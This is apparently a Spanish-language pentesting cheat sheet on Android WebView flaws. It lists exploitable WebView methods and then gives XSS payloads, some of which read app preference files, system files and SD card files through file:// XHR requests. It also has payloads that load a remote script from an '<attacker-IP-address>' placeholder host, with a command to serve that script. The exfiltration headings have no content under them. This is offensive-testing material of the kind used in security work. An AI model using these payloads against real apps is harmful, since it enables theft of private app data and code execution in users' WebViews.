WebViews

Funciones potencialmente explotables

loadUrl()
setJavaScriptEnabled()
addJavascriptInterface()
setAllowContentAccess()
setAllowFileAccess()
setAllowFileAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs()
loadData()
postUrl()
saveState()

Cross-site scripting (XSS)

Payloads

<script>alert(0)</script>
<script>alert('XSS');</script>
<script>alert(location)</script>
<img src=noexiste onerror=alert(0)>
<img src="noexiste" onerror="alert('XSS')">

Lectura de archivos de la aplicación

<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///data/data/<app-package-name>/shared_prefs/<file-name>",false);XHR.send();alert(XHR.responseText);</script>

Lectura de archivos del sistema

<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///system/etc/hosts",false);XHR.send();alert(XHR.responseText);</script>

Lectura de archivos de la aplicación desde SD card

<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///storage/emulated/0/Android/data/<app-package-name>/files/<file-name>",false);XHR.send();alert(XHR.responseText);</script>

Ejecución de payload desde recurso externo

Creación de archivo JavaScript con payload a ejecutar.

xss.js
alert(0)

Habilitación de servidor HTTP para compartir el archivo xss.js.

php -S 0.0.0.0:80

Payloads para cargar JavaScript desde recurso externo.

<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">

Exfiltración de archivos de la aplicación

Exfiltración de archivos de la aplicación desde SD card

Última actualización